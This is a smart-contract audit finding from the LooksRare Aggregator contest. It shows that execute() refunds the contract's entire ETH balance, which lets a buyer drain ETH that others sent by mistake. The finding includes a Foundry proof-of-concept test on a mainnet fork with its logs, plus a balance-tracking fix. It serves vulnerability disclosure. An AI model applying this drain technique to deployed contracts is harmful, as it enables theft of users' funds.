LooksRare Aggregator contest - Koolex's results

Lines of code

https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L51-L112 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/lowLevelCallers/LowLevelETH.sol#L43-L49

Vulnerability details

Impact

The contract LooksRareAggregator.sol has 'rescueETH()' inherited from TokenRescuer contract which is used to rescue the contract's trapped ETH by the owner. However, a malicious actor can withdraw all the ETH from the contract by executing a trade with one order for example by buying an ERC721 token from LooksRare.

A scenario as an example :

1. The initial contract balance is zero.
2. User A sends 10 ETH to the contract mistakenly.
3. The contract now has 10 ETH.
4. User B lists an ERC721 token on LooksRare.
5. User B uses another wallet to buy the ERC721 token through LooksRareAggregator.
6. The order succeeds and User B receives 10 ETH.
7. The contract balance is zero.

Note: the same case could be applied when the currency is an ERC20 as well

Proof of Concept

The 'execute()' in contract LooksRareAggregator.sol calls '_returnETHIfAny()' which sends ETH back to the user if any ETH is left in the call. However, the function '_returnETHIfAny()' uses the contract balance as an amount resulting in sending all ETH regardless if it was sent by the user or it was already before in the contract.

A PoC in the test:

1. Please create a file with a name LooksRareAggregatorAttackTest.t.sol under test/foundry directory.
2. Add the following code to the file.

Note: in the code _unlucky_person is user A and _buyer is user B when relating to the scenario mentioned above.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {IERC721} from "../../contracts/interfaces/IERC721.sol";
import {IERC1155} from "../../contracts/interfaces/IERC1155.sol";
import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol";
import {LooksRareProxy} from "../../contracts/proxies/LooksRareProxy.sol";
import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol";
import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol";
import {BasicOrder, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol";
import {MockERC20} from "./utils/MockERC20.sol";
import {TestHelpers} from "./TestHelpers.sol";
import {TestParameters} from "./TestParameters.sol";
import {LooksRareProxyTestHelpers} from "./LooksRareProxyTestHelpers.sol";
import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol";
import {ScamRecipient} from "./utils/ScamRecipient.sol";
import "forge-std/Test.sol";
/**
 * @notice LooksRareAggregator execution fail scenarios
 */
contract LooksRareAggregatorAttackTest is
    TestParameters,
    TestHelpers,
    LooksRareProxyTestHelpers,
    SeaportProxyTestHelpers
{
    LooksRareAggregator private aggregator;

    function testExecuteToWithdrawTheFundFromTheAggregator() public {
        vm.createSelectFork(vm.rpcUrl("mainnet"), 15_282_897);

        aggregator = new LooksRareAggregator();
        LooksRareProxy looksRareProxy = new LooksRareProxy(LOOKSRARE_V1, address(aggregator));
        // Since we are forking mainnet, we have to make sure it has 0 ETH.
        vm.deal(address(looksRareProxy), 0);

        aggregator.addFunction(address(looksRareProxy), LooksRareProxy.execute.selector);

        TokenTransfer[] memory tokenTransfers = new TokenTransfer[](0);
        BasicOrder[] memory validOrders = validBAYCOrders();
        BasicOrder[] memory orders = new BasicOrder[](1);
        orders[0] = validOrders[0];

        bytes[] memory ordersExtraData = new bytes[](1);
        ordersExtraData[0] = abi.encode(orders[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE);

        ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1);
        tradeData[0] = ILooksRareAggregator.TradeData({
            proxy: address(looksRareProxy),
            selector: LooksRareProxy.execute.selector,
            value: orders[0].price,
            maxFeeBp: 0,
            orders: orders,
            ordersExtraData: ordersExtraData,
            extraData: ""
        });

        vm.deal(address(aggregator), 0);
        console.log("Aggregator's initial balance: %d", address(aggregator).balance);
        address _unlucky_person = address(0x1);
        uint256 ethToBeRescued = 100 ether;
        vm.deal(_unlucky_person,ethToBeRescued);
        vm.prank(_unlucky_person);
        payable(address(aggregator)).transfer(ethToBeRescued);
        console.log("Someone sent 100 ether to the aggregator");
        console.log("Aggregator's balance: %d", address(aggregator).balance);
        vm.stopPrank();
        vm.deal(_buyer, orders[0].price);
        console.log("Buyer's initial balance: %d", _buyer.balance);
        vm.prank(_buyer);
        vm.expectEmit(true, false, false, false);
        emit Sweep(_buyer);
        aggregator.execute{value: orders[0].price}(tokenTransfers, tradeData, address(0), _buyer, false);
        console.log("Aggregator's balance after: %d", address(aggregator).balance);
        console.log("Buyer's balance after: %d", _buyer.balance);

        assertEq(_buyer.balance, ethToBeRescued); // the buyer received the stuck ETH from the contract.
        assertEq(IERC721(BAYC).ownerOf(7139), _buyer); // the buyer received the token which is fine

    }

   
}
  

Then run the forge test command as follows:

FOUNDRY_PROFILE=local forge test --match-path test/foundry/LooksRareAggregatorAttack.t.sol -vv

On the console, you should get the following result:

Logs:
  Aggregator's initial balance: 0
  Someone sent 100 ether to the aggregator
  Aggregator's balance: 100000000000000000000
  Buyer's initial balance: 81800000000000000000
  Aggregator's balance after: 0
  Buyer's balance after: 100000000000000000000

Recommended Mitigation Steps

1- Add a new function '_returnETHIfAny()' in LowLevelETH contract as follows:

    function _returnETHIfAny(address recipient,uint256 balanceBefore) internal {
        uint256 amount = address(this).balance - balanceBefore;
        assembly {
            if gt(selfbalance(), 0) {
                let status := call(gas(), recipient, amount, 0, 0, 0, 0)
            }
        }
    }

2- In 'execute()' function in LooksRareAggregator.sol

• add the following code in the beginning of the function before the tradeData loop:

uint256 balanceBefore = address(this).balance - msg.value;

• In the bottom of the function replace;

_returnETHIfAny(originator);

with

_returnETHIfAny(originator,balanceBefore);

After this, try to execute the PoC of the attack above then it is going to fail, and you should get the following result on the console:

Logs:
  Aggregator's initial balance: 0
  Someone sent 100 ether to the aggregator
  Aggregator's balance: 100000000000000000000
  Buyer's initial balance: 81800000000000000000
  Aggregator's balance after: 100000000000000000000
  Buyer's balance after: 0
  Error: a == b not satisfied [uint]
    Expected: 100000000000000000000
      Actual: 0

As you can see, the aggregator's balance stayed the same.

Note: use similar logic to fix the exploit when the currency is ERC20.